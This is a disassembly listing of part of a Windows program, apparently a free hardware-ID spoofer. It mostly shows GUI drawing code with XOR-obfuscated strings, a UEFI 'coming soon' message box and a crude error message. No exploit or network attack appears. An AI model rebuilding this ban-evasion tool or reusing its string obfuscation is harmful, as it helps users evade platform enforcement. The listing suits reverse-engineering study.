call fcn.140032b70
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x346d1303acf75f3b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbb0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbb8], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbc8], rax
movdqa xmm0, xmmword [rbp + 0xbc0]
xorps xmm0, xmmword [rbp + 0xbb0]
movdqa xmmword [rbp + 0xbb0], xmm0
mov edx, 0xff
lea rcx, [rbp + 0xbd0]
mov r9d, edx
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9b8]
lea rcx, [rbp + 0x308]
movss xmm1, dword [0x14025d9dc]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8b0]
lea rcx, [rbp + 0xbb0]
mov rdx, qword [0x141718fd0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x14384953e1dd653e
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307877d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe8], rcx
lea rcx, [rbp + 0xc00]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbf0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbf8], rax
movdqa xmm0, xmmword [rbp + 0xbf0]
xorps xmm0, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0xbe0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9c4]
lea rcx, [rbp + 0x310]
movss xmm1, dword [0x14025d9dc]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd0]
lea rcx, [rbp + 0xbe0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x512f527facd06f3e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c40], rcx
movabs rax, 0x6ae4dcb67a698f08
mov qword [rbp + 0x10], rax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov rcx, qword [rbp + 0x10]
movabs rax, 0xc62b99dcfe84597e
mov qword [rbp + 0x1c48], rcx
mov r9d, edx
mov qword [rbp + 0x10], rax
movabs rcx, 0x1a9edca541b99752
mov rax, qword [rbp + 0x10]
mov r8d, edx
mov qword [rbp + 0x1c50], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c58], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c60], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c68], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c70], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xc10]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c78], rax
vmovdqu ymm0, ymmword [rbp + 0x1c60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c40]
vmovdqa ymmword [rbp + 0x1c40], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9d0]
lea rcx, [rbp + 0x318]
movss xmm1, dword [0x14025d9dc]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8ac]
lea rcx, [rbp + 0x1c40]
mov rdx, qword [0x141718fe8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1439585ce2d5672f
mov qword [rbp + 0x10], rax
movabs rax, 0x3e3d8bc7d66a66b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc28], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc30], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc38], rax
movdqa xmm0, xmmword [rbp + 0xc30]
xorps xmm0, xmmword [rbp + 0xc20]
movdqa xmmword [rbp + 0xc20], xmm0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc40]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d9dc]
lea rcx, [rbp + 0x320]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8ac]
lea rcx, [rbp + 0xc20]
mov rdx, qword [0x141718fd0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
jmp 0x140055e25
movss xmm6, dword [0x14025d8bc]
movss xmm7, dword [0x14025d8e0]
mov r14, qword [rbp + 0x158]
cmp dword [0x141718ff0], 4
jne 0x1400573f2
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xc50]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025da04]
lea rcx, [rbp + 0x328]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x330]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400105e0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140032c50
movaps xmm2, xmm7
lea rcx, [rbp + 0x338]
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, r14
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x340]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140055f18
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x348]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140055f53
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x350]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140055f8e
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x358]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140055fc9
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x360]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140056004
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
movss xmm2, dword [0x14025d8d4]
lea rcx, [rbp + 0x368]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movaps xmm2, xmm14
lea rcx, [rbp + 0x370]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0xc60]
xor eax, eax
movabs rbx, 0x390bddb1307ce28
mov byte [rbp], al
movabs rdi, 0x345d3d328cb40b7f
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d5153e1c66431
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc60], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc68], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc70], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x141718ff0], 4
mov qword [rbp + 0xc78], rax
movdqa xmm0, xmmword [rbp + 0xc70]
sete cl
xorps xmm0, xmmword [rbp + 0xc60]
xor r9d, r9d
movdqa xmmword [rbp + 0xc60], xmm0
call fcn.140048cf0
test al, al
je 0x1400560ec
mov dword [0x141718ff0], 4
movss xmm1, dword [0x14025da2c]
movaps xmm0, xmm14
call fcn.140025740
movss xmm1, dword [0x14025da2c]
movaps xmm0, xmm14
call fcn.140025740
movaps xmm2, xmm14
lea rcx, [rbp + 0x378]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0xc80]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d32c5f24e2a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc80], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc88], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc90], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x141718ff0], 8
mov qword [rbp + 0xc98], rax
movdqa xmm0, xmmword [rbp + 0xc90]
sete cl
xorps xmm0, xmmword [rbp + 0xc80]
xor r9d, r9d
movdqa xmmword [rbp + 0xc80], xmm0
call fcn.140048cf0
test al, al
je 0x1400561c6
mov r9d, Ordinal_50
lea r8, str.Comming_Soon_
lea rdx, str.UEFI_Cooming_Soon_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm1, dword [0x14025da2c]
movaps xmm0, xmm14
call fcn.140025740
movss xmm1, dword [0x14025da2c]
movaps xmm0, xmm14
call fcn.140025740
movaps xmm2, xmm14
lea rcx, [rbp + 0x380]
movaps xmm1, xmm14
call fcn.1400105e0
mov r8, rax
lea rdx, [rbp + 0xca0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cfd4d3a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xca0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xca8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcb0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
cmp dword [0x141718ff0], 9
mov qword [rbp + 0xcb8], rax
movdqa xmm0, xmmword [rbp + 0xcb0]
sete cl
xorps xmm0, xmmword [rbp + 0xca0]
xor r9d, r9d
movdqa xmmword [rbp + 0xca0], xmm0
call fcn.140048cf0
test al, al
je 0x1400562a0
mov r9d, Ordinal_50
lea r8, str.NO_EFI_DUMBFUCK_
lea rdx, str.THIS_A_FREE_SPOOFER_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0xcc0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x388]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d960]
addss xmm1, dword [0x14025d9e0]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x390]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d900]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm0, dword [0x14025d860]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14025d87c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x398]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14674e47f8d57f2c
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcd0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcd8], rcx
lea rcx, [rbp + 0xcf0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0xce8], rax
mov r8d, edx
movdqa xmm0, xmmword [rbp + 0xce0]
xorps xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0xcd0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x3a0]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
xor esi, esi
lea rcx, [rbp + 0xcd0]
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rdx, qword [0x141718fd8]
mov r9, rax
movaps xmm2, xmm6
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x403e5846e9d0652a
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307aa4d
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd08], rcx
lea rcx, [rbp + 0xd20]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd10], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd18], rax
movdqa xmm0, xmmword [rbp + 0xd10]
xorps xmm0, xmmword [rbp + 0xd00]
movdqa xmmword [rbp + 0xd00], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d90c]
lea rcx, [rbp + 0x3a8]
movss xmm1, dword [0x14025d96c]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
lea rcx, [rbp + 0xd00]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov rsi, qword [rbp + 0x160]
mov rcx, rsi
call fcn.140021520
movss xmm2, dword [0x14025d910]
lea rcx, [rbp + 0x3b0]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0xd30]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0xd40]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
movabs rax, 0x502d6812f8c76a33
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0x390bdfb2962ba49
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd50], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd58], rcx
lea rcx, [rbp + 0xd70]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd60], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd68], rax
movdqa xmm0, xmmword [rbp + 0xd60]
xorps xmm0, xmmword [rbp + 0xd50]
movdqa xmmword [rbp + 0xd50], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x3b8]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xd50]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x46f1201bd9b3b4e
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307fa1a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd88], rcx
lea rcx, [rbp + 0xda0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd90], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd98], rax
movdqa xmm0, xmmword [rbp + 0xd90]
xorps xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rbp + 0xd80], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d91c]
lea rcx, [rbp + 0x3c0]
movss xmm1, dword [0x14025d984]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xd80]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov rcx, rsi
call fcn.140021520
movss xmm2, dword [0x14025d920]
lea rcx, [rbp + 0x3c8]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0xdb0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0xdc0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x410e1d41e9d96a38
mov qword [rbp + 0x10], rax
movabs rax, 0x39f4d8af6168be58
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xc62b99dcfef73731
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c88], rcx
movabs rcx, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c90], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c98], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cb0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cb8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c80]
vmovdqa ymmword [rbp + 0x1c80], ymm1
mov r8d, edx
lea rcx, [rbp + 0xdd0]
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d938]
lea rcx, [rbp + 0x3d0]
movss xmm1, dword [0x14025d948]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1c80]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x51305c75acd8673e
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ce5b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xde0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xde8], rcx
lea rcx, [rbp + 0xe00]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdf0], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xdf8], rax
movdqa xmm0, xmmword [rbp + 0xdf0]
xorps xmm0, xmmword [rbp + 0xde0]
movdqa xmmword [rbp + 0xde0], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d938]
lea rcx, [rbp + 0x3d8]
movss xmm1, dword [0x14025d9a0]
mov ebx, eax
call fcn.1400105e0
mov rdx, qword [0x141718fd8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xde0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
mov rcx, rsi
call fcn.140021520
movss xmm2, dword [0x14025d93c]
lea rcx, [rbp + 0x3e0]
movss xmm1, dword [0x14025d938]
call fcn.1400105e0
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0xe10]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
lea rdx, [0x141719288]
mov ebx, eax
lea rcx, [rbp + 0xe20]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm3, dword [0x14025d8ec]
lea rcx, [0x14025a010]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140044b30
call fcn.1400215c0
call fcn.140025c40
call fcn.140021b00
lea rdx, [0x141719288]
mov rsi, rax
lea rcx, [rbp + 0xe30]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x3e8]
movss xmm1, dword [rbp + 0x188]
mov edi, eax
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025d9e0]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x3f0]
movss xmm1, dword [rbp + 0x188]
mov rbx, rax
addss xmm2, dword [0x14025d980]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm0, dword [0x14025d860]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14025d87c]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
movss xmm2, dword [0x14025d98c]
lea rcx, [rbp + 0x3f8]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
xor eax, eax
movabs rsi, 0x1a9edca541b99752
mov byte [rbp], al
movabs rdi, 0x345d3d328cb40b7f
mov byte [rbp], al
movabs rbx, 0x390bddb1307ce28
mov byte [rbp], al
movabs rax, 0x14294f53f8c76e2d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cc0], rax
movabs rax, 0x71f5c9bd52278d78
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cc8], rax
movabs rax, 0xc62bffb391876431
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ce0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ce8], rax
movabs rax, 0xc62b99dcfef73711
lea rdx, [0x141715d1a]
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x1cc0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cf0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cf8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1cc0]
vmovdqa ymmword [rbp + 0x1cc0], ymm1
vzeroupper
call fcn.140044e10
call fcn.140025c40
movss xmm2, dword [0x14025d9cc]
lea rcx, [rbp + 0x400]
movss xmm1, dword [0x14025d930]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm2, dword [0x14025d8dc]
lea rcx, [rbp + 0x408]
movss xmm1, dword [0x14025d974]
call fcn.1400105e0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5d315c47f8c66229
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ab52
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe40], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe48], rcx
lea rcx, [rbp + 0xe40]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe50], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe58], rax
movdqa xmm0, xmmword [rbp + 0xe50]
xorps xmm0, xmmword [rbp + 0xe40]
movdqa xmmword [rbp + 0xe40], xmm0
